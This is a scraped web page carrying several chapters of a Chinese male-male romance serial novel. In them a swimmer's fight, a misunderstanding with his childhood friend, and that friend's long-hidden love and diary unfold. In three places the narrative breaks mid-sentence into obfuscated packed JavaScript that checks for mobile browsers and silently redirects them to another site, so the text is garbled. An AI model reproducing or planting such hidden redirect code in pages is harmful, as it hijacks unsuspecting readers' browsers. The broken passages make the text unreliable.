祁言在公寓等他回去一起去机场接人,可时间还早他不想回去面对这个人。 好端端的跨年被摧毁得一塌糊涂,烟花绽放的那一刻他成了站在光下的小丑。 左屹觉得自己活像一个笑话,竟以为祁言喜欢的人有可能是他。 可又想想,祁言一直喜欢着另一个人,可那晚偏偏吻了他…… “操。渣男啊!” 左屹反应过来,这是渣男的把戏!! 难不成祁言还是男女通吃的渣男? 想到这里,左屹脑海浮现出祁言以后白天和女朋友约会,晚上和男的睡一起,时不时还小亲两口的画面…… 他的脑子和心脏都遭受到了巨大的幻想冲击,怒骂:“靠!!真他妈城市套路深,老子要回农村!” 如此,他的心情更差了。 左屹穿着体校的黑长羽绒服,抱着运动挎包蹲在训练馆附近的一个小角落无聊地垒着雪人。 “你知不知道这是什么地方?跑来这里干什么?” “你昨晚跟谁一起跨的年?” “关你屁事,我们已经分手了。” “到底为什么突然提分手?我哪里做得不好,我可以改的,不分好不好……” “你他妈烦不烦人,跟狗皮膏药一样。” “康辰,前几天我们不是还好好的吗,你还说我是你遇见过最好的伴侣,明明说完这句话还没多久你就提分手,你是不是喜欢别人了?” “嘁~神他妈遇见过最好的伴侣,果然都是渣男语录。”左屹蹲着翻了个大白眼,他对陌生人的八卦不感兴趣,可这道可怜的哭腔实在太熟悉了,根本没办法不听一耳墙根。 他哪里能想到郭敬敬和他校队队友康辰在一起了,还在训练馆外头闹分手,生怕动静太小,别人听不到么。 “滚你妈的,贱不贱啊你,老子玩腻了行不行?说几句情话还他妈当真了,床上叫得比谁都浪,搁这演什么纯情少男,贱货。” “康辰,你……” “去你妈的,给老子滚。” 左屹听不下去了,一手推了他垒到一半的雪人,走到小树林去钳住康辰将要落下的拳头,然后问道:“嘛呢?” 康辰想抽回手,却被左屹紧紧钳着,顿时有点丢面儿。 左屹侧头看向双眼哭得红肿的郭敬敬,“就为这么个人渣,你至于吗?” 郭敬敬更委屈了,大颗大颗的透明豆子往下掉,他瘪着嘴说道:“屹哥,我们走吧。” 左屹跟丢垃圾似的甩了康辰的手,然后从衣服口袋里掏出一小包湿纸巾,扯出一张仔细地擦了擦手,擦完还闻了闻对郭敬敬说:“蹭了一手渣男味,恶心。” 平日在队里康辰就看左屹不爽,更衣间里只剩他俩的时候动不动就要嘴欠挑衅他一两句,都是一个队里的,左屹懒得跟他计较,每次睁一只眼闭一只眼就过去了,但他打心眼里也瞧不上这种人前当君子背后做小人的做派,现在知道竟还是个渣男,更觉得恶心了便也不怕撕破脸。 “走,送你回宿舍。”左屹揽着郭敬敬耸动的肩带他离开。 康辰在背后气急败坏,口无遮拦地骂道:“郭敬敬你妈的就是个贱货,老子难道骂错了?看见个长得还不错的带把儿的就迫不及待撅起屁.股给人.操了是吧?” 左屹松开手,回过身眸子微眯着透出寒冽的光:“你再说一遍。” 郭敬敬被昔日情人泼的这些不堪入耳的脏水惊到哑口无言。 “老子说错了?你喜欢他这种骚货跟兄弟直接说,都是一个队的,我可以让给你,当着兄弟的面直接把这货撬走是不是太不人道了?”康辰要越过左屹去扯郭敬敬,“我们的事儿还没完你就要跟他走?他活儿有老子好吗?小浪货。” “康辰,你太过分……” 郭敬敬话音未落,左屹的脚已经踹上康辰的肚子,“你妈没教你好好说话,老子今天就来教教你。” “我操你妈,左屹你敢打老子。”康辰从地上起来,抬脚要还他一脚,左屹侧身躲开,踢了空。 康辰在网络上算是个小有名气的运动员,捧他臭脚的粉丝一抓一大把,哪里受到过这种屈辱,他挥起拳头就往左屹身上砸,看上去是要拼个你死我活的架势。 正巧,左屹心情差到极点,被这么个傻逼彻底点燃了怒火,他也挥起拳头和康辰打得不可开交。 没一会,两个人脸上都挂了彩,郭敬敬吓到赶紧上前去阻止,可打架的人都有一股猛劲儿,他挨了好几下都没拉开两个人。 占了下风的康辰捡了条粗树枝要往左屹身上招呼,被一道严厉的声音制止,“你们两个干什么?华山论剑还是自由搏击,要不要我找点观众来看你们俩比武?简直无法无天了!” 左屹一脚踢掉康辰手上的“剑”,赶紧站直了身子。 “你他妈……”康辰骂到一半住了嘴。 黄教练的脸黑得不成样子,左屹跟了他半年,各种调皮的事犯尽了也没见过他气成这样。 “老黄……”左屹赶紧低头认错。 黄教练瞥了眼睛肿成核桃的郭敬敬,然后指着他问:“你们俩是为了这位男同学打架?” 郭敬敬一惊,康辰却比他更惊慌,连连否认:“不是的,黄教练,我不认识他。” 左屹抱着手臂,冷笑一声,心里暗道:“好一个不认识,无耻的渣男。” “你们俩跟我回办公室!”黄教练的咆哮贯穿了左屹的左右耳,震得他浑身一抖。 他捞起在地上滚得满是灰的挎包,掏出手机看了眼时间桃花眼瞬间瞪大了一圈。 糟了,打架太投入,忘了祁言还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245957|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家等着他一起去机场,这个时间爸妈的飞机都落地京西了…… 果然再一看,二十通未接来电全来自祁言。 这下玩球了。 他赶紧回电话过去解释自己的情况,结果被黄教练夺走手机,“人康辰都去办公室了,你还在这玩手机?我还治不了你是不是?” “不是,我错了教练。”见黄教练真发火了,左屹只能先去办公室了。 郭敬敬在他们去办公室之后赶紧跑回了宿舍找李子豪,同队的运动员打架这事可大可小,往大了说开除校队队员身份,往小了说也得吃个警告批评,哪一种处分都得记录在案,左屹是为了帮他才受了牵连,挨处分实在过意不去。 一个小时后,祁言和左屹的父母一起出现在黄教练办公室里,和左屹对上视线后,左屹很不爽地偏过头不理他。 祁言一进门便看见左屹的黑色羽绒服被扯开了一个大口子,漏了一地的白色鹅绒,嘴角青紫血迹干涸成了血痂。 他又打量了一眼正在滔滔不绝的男生,左眼眶青了一大片,右边脸颊颧骨肿得老高,衣服上全是鞋印子。 康辰颠倒黑白了近一个小时,在他们来之前和黄教练说是左屹平时在队里看不惯他故意搞些针对,今天只不过和郭敬敬发生了一些误会吵起来了,左屹不分青红皂白上来就动手,他气不过还手这才打了起来。 谁知,一看左屹的家人来了,康辰更是卖起惨来,毫不留情地将左屹描述成一个爱搞校园暴力的恶徒。 左屹心里泛着恶心,却也不为自己辩解,直到老宋一个劲和康辰鞠躬道歉,左屹才起身阻拦她的动作:“妈,你跟他道哪门子歉?” 老左故意恶狠狠地严厉警告左屹:“我跟你妈刚落地京西就给我们这么大的‘惊喜’,你个浑小子还不闭嘴。” “请问我没错为什么要跟你道歉?”左屹的目光冷漠地看着演戏上瘾的康辰。 他和家人关系很好,就是不爽看着母亲为他低三下四地给一个混蛋道歉,如果今天他们没来,左屹任凭教练处罚,即使康辰颠倒黑白他也懒得去争,可牵扯到家人,坚决不行。 “打人还没错?”康辰情绪看上去有点崩溃,“左屹,你家里有人来给你撑腰你底气足,算我活该行了吧?” 左屹咬着牙说道:“我最后警告你一次,你他妈最好别逼我……” “小屹,我先带你去处理伤口。”祁言怕左屹一时冲动说出些收不回来的话,赶紧上前拦住他。 “行了,听我也听了,事情差不多也了解了,你们几个孩子先出去,我要和左屹的父母好好聊聊。”黄教练一直沉默不语,这次的打架事件在他心里早已有了评判。 祁言拉着左屹出了办公室门,左屹心里不痛快,重重甩开了他的手,“别拉拉扯扯的,我自己会走。” 祁言愣了,不知道左屹到底哪来的这么大火,难道是因为昨晚? “小屹,可不可以先听我解释?” 左屹头皮发麻,他又想到了昨晚的梦,便快步往馆外走去,“你没什么需要跟我解释的。” “你到底误会了什么?”祁言语气也急了。 36.何为正轨 误会?能误会什么?误会你是渣男? 可你不就是吗? 只不过比康辰那个傻逼好一点,至少是个温柔的渣男。 左屹不想再跟他玩这种模模糊糊的暧昧游戏。 哦,不! 准确来说是他自作多情以为的暧昧游戏。 左屹已经认清了,祁言心里的那个人很重要,那是他的浩瀚星辰,是令他重新活过来的人,是他的救赎。 他左屹哪有那么伟大?在祁言最失意的一年里自己都没有见过他。 左屹努力深呼吸,平复好自己的心态,然后对祁言认真严肃地说道:“祁言,你不欠我的,我也没有误会什么,只是突然觉得我好像占用了你太多时间,你有你要追求的事,我也有我该完成的目标,不应该事事捆绑在一起彼此耽误。” “左屹,你什么意思?”祁言攥紧了拳头,他不懂这小孩脑子里到底在想什么东西。 “其实这段时间我的成绩下滑很严重,开年有大泳赛的初选赛,我想参加,但是…”左屹说起违心话的时候心脏会猛地刺痛,痛得他连唇齿闭合都变得艰难,“但是我好像有点太依赖你所以忽略了练习,导致我现在对成绩也没把握。” 祁言想说什么,被左屹拦截:“我想明白了,我对你的依赖是因为来到这样一个人生地不熟的地方,我只能紧紧攥着一个熟悉的人寻找安全感,因为你是和我一起长大的哥哥。”说到这里,他顿了顿,然后笑道:“不过,也只是哥哥而已,大家都有自己的生活要过,我们该回到正轨里了。” 祁言许久没有感觉到如此生气,他咬紧牙关,努力调整着气息,片刻他才语气冰冷地说:“左屹,我认真再问你一遍,你知不知道说这些话意味着什么?” 意味着什么? 意味着划清界限,意味着以后你只是哥哥,我们不能再搂着睡在一张床上,不能再亲吻,我也不能再自私地想要霸占你的余生…… 左屹心里泛起一阵苦楚,“知道。” 他的坚定如一把刀狠狠扎进祁言的心脏里,伤口在黑暗中溃烂,流血不止。 “你确定?”祁言忍耐着即将爆发的情绪,再次询问道。 左屹仍然坚定回答:“确定。” “好,那就依你所说,回到正轨。” 左屹默认,他不知道还能说什么了,这样就很好。 祁言不能再因为被他纠缠而耽误追寻自己的幸福。 昨天祁言也是烦得没办法才会跟自己开口了吧。 应该早点发现的,然后有点自知之明地远离他。 两人沉默了片刻,祁言才开口说道:“我带你去校医室处理完伤口就离开。” “我伤口问题不大,等老左他们和黄教练聊完,一起去晚饭吧,麻烦你今天去机场接他们了。” 左屹突如其来的客套更令祁言蒙上一层烦躁。 祁言面色冰冷地盯着左屹,说道:“不是你说要回到正轨,我还有事就不打扰你们一家人晚上吃团圆饭了。” “我……” 我不是要跟你老死不相往来啊…… 话到嘴边左屹给憋了回去,他在心里想不吃这顿饭也好,他可以早点去见自己喜欢的人,就不拽着他了。 “好,那你去忙吧。” 祁言今天被左屹的脑回路折服,也无力再和他继续闹下去便直接离开了。 左屹又回到训练馆旁的角落蹲下,雪地上还有一滩他刚刚推倒的小雪人残骸,他又重复之前的动作,捧起雪球垒起雪人。 康辰是跟在他们后面出来的,他躲在一处将祁言和左屹吵架的一幕看完才翻着白眼离开。 约莫半个小时,老宋和老左总算是拖着行李箱从黄教练的办公室出来了,左屹以为老宋会狠狠给他一个飞踢或是一巴掌,结果都不是。 老宋和老左笑得如沐春风,看儿子跟看宝贝一样的眼神儿,灼热的目光差点将左屹烫伤,怪吓人的。 “你们这是什么表情,中彩票了?”左屹问道。 老左作势抡起拳头吓左屹,“叫你调皮!” “哎哟,好啦,先去酒店放行李,”老宋挽着左屹的手臂,将老左一个人丢在后面拖行李。 到了酒店,定的是一套家庭房,有客厅、厨房和两间大床房。 左屹诧异,老宋和老左这把年纪哪会上网定这样的房间? “爸,这种家庭房多少钱一晚?”左屹试探道。 老左也懵了,“我哪知道啊,这是小言帮忙定的,说要给他钱这孩子非不要。” 老宋将行李箱的衣服拿出来挂到主卧的衣柜里,便说道:“是啊,本来是打算小言和你这几天都跟我们一起住这,晚上好好做顿饭给你们吃,结果这小子刚刚突然给我发消息说有事要先走。” 左屹心里很不是滋味儿,祁言做了这么多,自己刚刚还说了那么多绝情的话赶人家走。 “哎,他可能真有急事吧。” 老宋突然拿着一条蓝色的毛线围巾走到客厅,“儿子,你看这条围巾适不适合你陈姨,京西冬天冷特意给她打的一条,明天咱去看看她,多久没见了都,也不知道过得好不好。” 左屹身躯一抖,声音颤抖地叫了声:“妈。” “哟,你小子咋啦,怎么眼睛都红了呀?”老宋疑惑地坐到左屹身边,拍了拍他的脑袋。 老左见状,也靠拢过来,“怎么了?” “妈,爸…陈姨她,她…” 老宋催促:“你这孩子说话怎么还结巴,你陈姨怎么了倒是说呀!急死我了都!” “陈姨…走了…” “走哪去了?她不是在京西吗,一个人能去哪,也没听小言说啊?” 左屹垂着脑袋,低落道:“陈姨去世了。” 老宋攥在手里的蓝色围巾掉落在地毯上,“去世了?怎么可能呢……” 左屹将来京西后发生的有关陈姨的事一一讲述给他们听,过程中老宋情绪很不稳定,一直念叨着陈姨命苦,也可怜祁言摊上这么个混蛋爹。 晚饭前老宋不停和祁言打电话,但是对方电话一直关机打不通,左屹的心也跟着揪了起来,一种不好的预感涌上心头。 老宋也没心情做饭了,一家三口点了个外卖随便对付了一餐,饭吃完低气压的氛围也不见缓和,老宋早早回了房间自己待着。 老左在阳台抽烟,左屹陪着,一根烟入肺,老左叹了五六声气。 “怎么不问问今天黄教练跟我们聊了什么?”老左先开口打破了沉默。 左屹无奈地耸了耸肩,“无非就是我有多不听话,多调皮之类的有什么好问的。” “黄教练是说了你很顽皮,但心思单纯,不会是跟你打架那男孩描述的那个样子,他很相信你。” 说实在的,左屹真的有些意外,平时在老黄嘴里他是最令人头痛的队员。 “然后呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253051|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他问。 “然后教练说你是继梁一之后,唯一一个让他看到希望的孩子,但是你的心思不在训练上导致状态和成绩极不稳定。” “嗯,我知道了。” 老左八卦道:“跟爸说说你心思放哪了?是不是谈对象去了?” “怎么可能,谁配得上您这么优秀的儿子。” “那你不好好训练都在干什么?” 左屹想了想,在打工、打架、沉迷某个人的温柔乡里…… 这些都不能说。 “也没干什么,放心吧,以后我会收起杂念,把心放在训练上。” 老左拍了拍左屹的肩膀,“老爸也不逼你,这是你的人生,只要过得开心我和你妈才能放心,哪天觉得累不想练了记得要说,我们支持你一切决定。” 左屹点头,“嗯,我不累,我还要参加大泳赛,到时候你和老宋来现场给我加油!” “行啊,小子,对了还有一个事儿。” “什么?” “黄教练让我跟你说一声,明天会安排一场你和康辰的比赛,如果你赢了他这次打架的事就过了。” “我赢了,那康辰呢?”左屹挑眉,“是不是要跟我道歉。” “毕竟也是你先动的手,人家康辰还手属于正当防卫,口头警告就行了。”老左将目光瞥向一旁,不去看左屹的表情道:“不过你要是输了得当着校队所有队员的面和他道歉。” 左屹激动到跳脚,这也太不公平了!! “我去,别告诉我这么不公平的条件您替我答应了?” “这有什么不敢答应的?难道凭你还赢不过那小子?” “人家实力很强的,爸。” 夜晚,左屹怎么也睡不着,这张床太大了,一个人睡太空,还不如宿舍那张硬板床,睡着不舒服但床小,踏实,不容易想到不该想的人。 他来来回回刷新着微信,祁言离开京体之后再也没有消息了,他尝试拨了个电话过去依然关机。 哎,可能他也不想被自己烦,只能先冷静几天再和他联系了,大不了过几天道了歉,他相信是可以一笑泯恩仇的。 第二天左屹和康辰的游泳比赛,100m自由泳左屹以优先三秒获胜,200m蝶泳却落后了康辰一秒,好在最后一项400混合泳上左屹优先了整整4秒,三局两胜左屹不需要和康辰道歉。 康辰又吃了一瘪,气得他未来几天的训练都没来。 老宋和老左在京西待了四天,左屹带着他们去了一趟陈姨立碑的墓园祭拜,家里公司还有事第五天一早便飞回江城。 左屹也松了一口气,整整四天祁言都是关机状态,左屹觉得他是气大发了,关机是有意避着他们一家,以免两人见面尴尬。 趁父母一离开,左屹回了趟公寓,周六按理说祁言是在家的,他平时都是学校和公寓两点一线,周末会待在家里听听音乐,看看书,鲜少出门。 左屹在公寓门口敲了半天门都没人开,才输了密码自行开门。 谁料祁言根本不在家,家里餐桌上落了层薄薄的灰,看起来有几天没打扫了。 左屹的步子越发沉重起来,这几天他的心脏时不时会猛坠一下,总感觉是在预示着什么不好的事。 想到这里左屹的心脏像草原上受惊奔跑的马群般慌乱跳动,他跑到主卧里查看,衣柜里少了一半浅色系衣服,只留下了他的深色系孤单地堆在柜子角落里…… 37.八年暗恋 左屹双腿开始发软,他手抖动着掏出手机一遍又一遍拨打祁言的号码。 “对不起,您所拨打的电话已关机……” “对不起,您所拨打的电话已关机……” “对不起,您所拨打的电话已关机……” 祁言好像又跟一年前那样,人间蒸发了。 “你他妈到底去哪了。”左屹情绪濒临崩溃,不知疲累地打了整整一下午电话,一直打到关机没电。 夜深,左屹没有回学校,而是窝在客厅地毯上呆坐着,也不知道究竟坐了多久,天色已经由黑转成深蓝,他勉为其难地动了动身体将手机充上电。 等待手机充电开机的时间是煎熬的,左屹抱着双膝,牙齿无意识地咬着手腕上的皮肉,好像失去痛觉似的咬到破皮流血。 这就是祁言理解的生活回到正轨,那条正轨到底是什么,左屹也不知道,但绝不是现在这样他再次一声不吭地就跑了。 他思索了一整个晚上,为什么祁言又要走,这次不再是因为他那个混蛋爸爸。 或许,是去寻找他的星辰了? 揣测到此,左屹的思绪已是千疮百孔,他宁愿祁言是去追寻幸福了,而不是出了什么意外,哪有人会一直关机五天呢。 手机亮了,左屹如同沙漠旅人看见绿洲般,疯了似的扑过去拿起手机解锁,再拨号。 传来的依旧是冰冷的关机提示。 他脑子里已经上演了无数意外的可能性,他只求祁言是安全的。 左屹点开祁言的消息对话框,疯狂敲字。 [Zorro:手机为什么一直关机?] [Zorro:为什么不回家?] [Zorro:你到底去哪了?] [Zorro:如果你不想看到我,我马上清好行李离开,这是你的家,你回来。] [Zorro:言哥。] [Zorro:我错了,都是我的错。] [Zorro:你回来吧。] 屋外天色已经大亮,树枝上的积雪慢慢融化成水,传来滴答滴答的声响。 左屹的状态显然不适合训练,他和黄教练发消息请假,难免不被责骂一顿。 但无妨,他要去京西大,他不信祁言为了躲他连学校都不去了。 一大早,左屹预约上了入校名额,他和第一次进校时一样,漫无目的地在偌大的校园里乱窜,眼前又是这条人工湖,时过境迁,湖对面没有围观表白的人群,更没有祁言高挑的身影。 “左屹?” 左屹停下脚步寻声回头,“关关姐,。” 关关抱着书籍,快步朝他走过来,惊讶地问道:“你怎么在这里?” 他如看到救命稻草一般,忙问:“你看到祁言了吗?” “祁言??”关关不解,“他跟周教授去澳洲参加国际天文交流会了,他没跟你说吗?” 左屹恍惚,“去澳洲,怎么这么突然……” “也不突然,周教授半年前就和我们小组提过这个交流会,当时祁言犹豫来着,后来因为他母亲的身体状况不好说去不了,我也不太喜欢这种学术氛围,但教授还是要了我们小组办签证的材料,签证上个月才下来,当时商量着要他和教授去,祁言都没答应呢。” “他一个人陪教授去的吗?” 左屹失神,出国的事他竟然说走就走。 关关解释道:“那倒不是,俞辰星也去了,他们俩可是我们系的天文双杰,帅气又有才,他们这次出去收获一定不小,说不定还能带回最新的数据。” “俞辰星……” “我遇见了一个很好的人,他的出现就像一片浩瀚星辰拯救了失去能量的月球空壳……” “浩瀚星辰……” 祁言的声音席卷左屹的大脑,他脑海突然一片空白僵在原地。 俞辰星会是祁言口中那个很好的人吗? 和自己喜欢的人共同去探寻热爱的天文事业,可真浪漫啊。所以才没有多余的时间应付我这个麻烦精。 关关看左屹的脸色苍白,嘴唇也没有一点血色,还愣在原地出神儿,她便抬手在他眼前晃了晃,关心道:“左屹,我看你脸色不太好,怎么了?” 左屹勉强扯出一抹笑容,“没事,谢谢关关姐,我先回学校了,还要训练。” “嗯,照顾好自己,有时间一起吃饭。”关关也还有课,便没有继续留他聊天,挥了挥手和左屹告别。 与此同时,澳洲,布里斯班的一间公寓内。 “Bro,您大老远从珀斯飞来找我,不会就是为了让我欣赏您这头茂密的颅顶?”梁一环着双臂,腿翘在茶几上,头仰得高高的,一脸玩味地调侃坐在对面沙发上,垂着脑袋看手机的祁言。 祁言是在看左屹发的那几条消息。 他将手机收起,往后一靠,“最近有几天假,没地方去。” 梁一:“来这不怕你家小朋友闹脾气?” 祁言抬眼看过去,“闹了,但不是因为出国的事。” 梁一嗅了嗅鼻子,“嗯~好像闻到瓜的味道了,跟哥们儿展开说说。” 祁言瞅了他一眼,意味深长,似乎在掂量自己感情的事,是不是可以跟他说说。 说起来祁言和梁一能联系上也挺诡异的,开端便是始于几个月前的那顿晚饭。 梁一趁左屹去洗手间的空隙向祁言亮出了自己的微信二维码,两人对上眼神达成了某种默契,梁一时不时会向祁言询问冯桑打工的情况,祁言为了梁一这只花蝴蝶能远离左屹,对梁一好奇的事几乎知无不言,一来二去竟熟悉了起来。 “小屹好像误会我喜欢别人。”祁言简单粗暴地说出了他的猜想。 梁一大笑,然后一副我就知道的表情调侃道:“我第一眼见到这个小憨憨就觉得他怪可爱的,然后呢然后呢?” 祁言冷漠地向梁一投射一个不满的眼神,梁一有自知之明,举起双手解释:“我嘴欠行吧,以后不叫他小憨憨了。” 祁言苦笑着说:“他说我只是他哥哥,不应该彼此耽误,要跟我撇清关系。” “What??”梁一不懂。 祁言:“可能我对他的爱还不够明显,小屹才感受不到。” “Crazy!”梁一起身走去酒柜拿出一瓶精致的洋酒和酒杯,然后倒了一杯递给祁言,“喝点酒清醒一下,bro。” 祁言不爱酒,但这时候也确实想喝点,于是接过一口饮尽。 “Bravo!”梁一挑眉心道,哥们是真帅啊。 祁言瞥了他一眼提醒道:“不能正常说话吗?” “不好意思兄弟,来澳洲几个月了,多少学了几个英文单词,以后我尽量控制。”梁一耸了下肩,坐回沙发上问:“你知道我们第一次见面,为什么故意问你和他的关系?” 祁言不说话,等待他自问自答。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256520|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你当时看我的眼神里充满了杀气,我就想逗逗你。”梁一回想起那天他见到祁言第一眼,真被他的眼神吓了一跳。 “你说这个的意思是?”祁言问。 梁一打了个呵欠,他刚从国内回澳洲,时差还没倒过来:“大哥,我们第一次见面我都能感受到你对他的掌控欲,左屹和你朝夕相处的,他能感受不到?” 祁言:“嗯,小屹的心思比你想象的单纯很多。” 梁一问道:“我看是钝感力很多吧,那你跑来澳洲是打算冷处理?” “不,是给他时间想清楚,我也在等他亲口说喜欢我。” 梁一不理解理科男的脑回路:“天哪,你就不能去问他吗?他要是还不懂直接强吻他,推倒他!” 祁言蹙着眉道:“我跟你不一样。” 梁一翘起二郎腿,白了祁言一眼。 都是男人,有什么不一样。 祁言:“如果高三结束那年我没有离开江城,他一辈子都不会考来京西。我们在截然不同的家庭环境里成长,他喜欢的东西唾手可得。除了游泳,他对什么都是三分钟热度,不管对人还是物很快会失去新鲜感。可我从初中就明白自己对他的感情不纯粹,整整八年。”他叹了口气,“左屹早已成为了我的氧气,是维持我生命的唯一。” 梁一小受震撼,没想到祁言这个温润君子竟如此痴情,长达八年的暗恋,令他不得不感到敬佩。 他为祁言斟满酒杯后也给自己倒了一些,梁一举起酒杯主动撞上祁言的,调侃道:“初中暗恋到大学,够牛逼的哥们儿。来,敬我们伟大的暗恋。” 祁言抿了一口烈酒,面不改色地继续说道:“当我看不清他对我的喜欢能维持多久时,更不能拿这份感情来做赌注,如果小屹能为我向前迈出一步,我便会朝他走完剩下的一百步、一千步。若他走不出这一步,我就一直等下去。” “说白了,你就是个胆小鬼,怕在一起后人家中途给你甩了。”梁一不客气地说。 祁言眸光逐渐凝聚,原本涣散的焦点全然落在手中的水晶酒杯上:“我是胆小鬼,因为我承担不了失去他的后果。”他顶着通红的眼,仰头将杯中酒喝尽,“我曾经有过很偏激的想法,如果是我先跨出这一步可能会吓到小屹。” “什么想法?”梁一问道。 “搬离江城之前我和母亲争论过,我不想走,她问我为什么,我告诉她我喜欢左屹,我不能走。她哭着说我是失心疯了喜欢男人。她说小屹知道了会恶心我,讨厌我。那时我就告诉她,不管大家怎么看,也不管左屹喜不喜欢我,他这辈子活着是我的人,死了是我的鬼,以后老了我照顾他,死了也要和我葬在一起,这个世界没有谁能分开我们,生死也不行,他永远都是我的。” 祁言冷笑,眼神里透出来的冷是能冻进人骨头里的:“我妈吓到了,后来在京西安顿好,她每天带我去看心理医生。” 梁一无意间抬头窥见祁言说这句话时直勾勾的眼神,整个人散发着一股压迫感,他不禁打了个寒颤,“额……确实挺偏激的,不过能理解,你爱左屹超过了爱你自己。” 祁言突然感到一阵放松,他盯着天花板上的水晶吊灯,闭上眼睛小憩。 曾经长时间陷入阴暗面的痛苦,今天第一次主动于人前说出口。 感觉还不错。 梁一起身,走到祁言身边拍了拍他的肩膀道:“不管怎么样,这次祝你成功,Bro。” 38.我的星星 陈姨生日当天左屹和丁文笑着一身黑衣前往墓园祭拜,他们到达的时间不算晚,可有人比他们来得更早,墓前树立着一束新鲜的雏菊。 左屹回身环视了一圈,没有看到其他人的身影,但他们都知道是祁言来过,京西市只有他们三个知道陈姨最喜欢的花是小雏菊,他和丁文笑带来祭拜的花也是。 “我还以为言哥一时回不来,既然回了为什么不通知我们一起来呢?”丁文笑侧头看着失神的左屹自顾自说道。 左屹弯腰将怀里的雏菊花放置祁言那束花的旁边,然后鞠了三个躬,心里默默和陈姨道:“对不起陈姨,我好像食言了。” 丁文笑重复了这套动作后,两人清理了墓碑上的灰土才离开墓园。 出租车上,左屹突然问丁文笑:“笑姐,我是不是挺遭人烦的?” “哇塞哇塞,你才知道啊?”丁文笑故意缓和气氛说道。 可左屹却当了真,神色骤然黯淡下去,什么话也没接,转头看向车窗外。 昨日天气预报说今天是大晴天,却不知怎么窗户上已经沾染上了星星点点的雨滴。 不知道祁言回来还走不走,也不知道他有没有带伞。 左屹想得出神,丁文笑发现了他的不对劲,用自己的肩膀撞了一下他的,说道:“我开玩笑的,你真信了呀?你都不知道自己多可爱,谁敢说你烦人我跟他分分钟急眼,笑姐亲自卸他一条腿儿怎么样?” 司机从车内后视镜里惊恐地看了丁文笑一眼。 左屹噗嗤笑出声来,“你来京西都学了些啥,姑娘家家说话流里流气的。” 丁文笑朝后视镜吐了个舌头,不好意思地咳了两声:“最近接了个大嫂的角色一时没出戏,你一会直接回学校?” “先去公寓收拾行李。”左屹回答。 “闹哪出啊你们,一个出国,一个分居,你们吵架啦?” 左屹看着车窗上的小雨点,一滴融进了另一滴里,说道:“没有吵架,只是不想继续打扰他了,我在他家住着算怎么回事,跟个拖油瓶一样,他都没时间谈恋爱了。” 丁文笑一顿,然后惊讶道:“谈恋爱?言哥要跟谁谈恋爱?” “不知道,但总有一天要谈的吧。” 丁文笑叹气,“哎,左屹你说你是真傻呢还是装傻?” 左屹转头看向丁文笑,不高兴地问:“你才傻,骂我干什么?” 丁文笑真想把他脑子打开好好看看里面的构造,是不是真的差根筋儿。 “ 公寓次卧有张书桌,抽屉里的东西你看了可能就开窍了。”丁文笑举起手发誓道:“先声明我不是偷看啊,是不小心看到的。” “什么?”左屹问。 “你别什么都问我呀,自己回去看看不就知道了?”丁文笑闭上眼睛休息,不再和左屹搭话。 她回想到陈姨去世那晚,是她清理家里陈姨的遗物,拉开书桌抽屉后无意间发现的那些秘密,她才真正解开压在心中许久的疑惑。 祁言离开后也和她断了联系,可突然有一天,她的微信收到一条名为1的添加申请,加上微信后才知道那人是消失了整整一个暑假的祁言…… 左屹云里雾里,急切地想回到公寓一探究竟,他不确定祁言是不是也回了公寓,但是也顾不上这么多了,送丁文笑回剧组后十万火急地赶回了小区。 左屹一路跑回公寓,到门口时大喘着粗气,胸口此起彼伏,心跳猛然加速,他调整了呼吸敲了敲门,屋内没有人应。 毕竟这是祁言的家,他不能喧宾夺主。 等了将近五分钟,确定屋内没人他才开门进屋。 左屹推开次卧的门,陈姨的照片摆在书桌上,他缓缓走到书桌边拉开抽屉,里面只放着一本厚厚的黑色皮质笔记本。 他拿起笔记本,侧边看去已经书写很多页了,但封面保存如新,看得出来笔记本的主人很珍视它。 左屹努力深呼吸,他隐隐约约感受到了什么,这是祁言的潘多拉魔盒,里面一定承载了他的很多秘密,自己贸然打开窥探很不礼貌,可是丁文笑的话似勾魂的咒语,一直在耳边催促他将它打开。 左屹一不做二不休咬牙翻开一页,映入眼帘的是祁言用钢笔写的娟秀工整的字体:我的星星。 左屹颤抖着手往后翻动,里面全是祁言的手写日记,他挑着看了几篇…… 2018年5月21日 今天跟小屹补习数学的时候他趴在书桌上睡着了。 我发现了一个小秘密,他的脸颊,下颌,鼻尖,眼皮上都有一颗小黑痣,连起来刚好是一条线,好像天上的星星。 这个秘密只有我知道,以后你就是我的星星了。 2018年7月19日 我想考京西大学天文系,想研究星星,想偷摘一颗送给我的星星。 2018年8月23日 今晚问小屹愿不愿意和我一起考去京西,他说学渣去京西没有活路。 他不是学渣,他一定会是最厉害的泳坛之星。 2019年9月1日 高一开学了,这是第一个在学校里见不到小屹的日子。 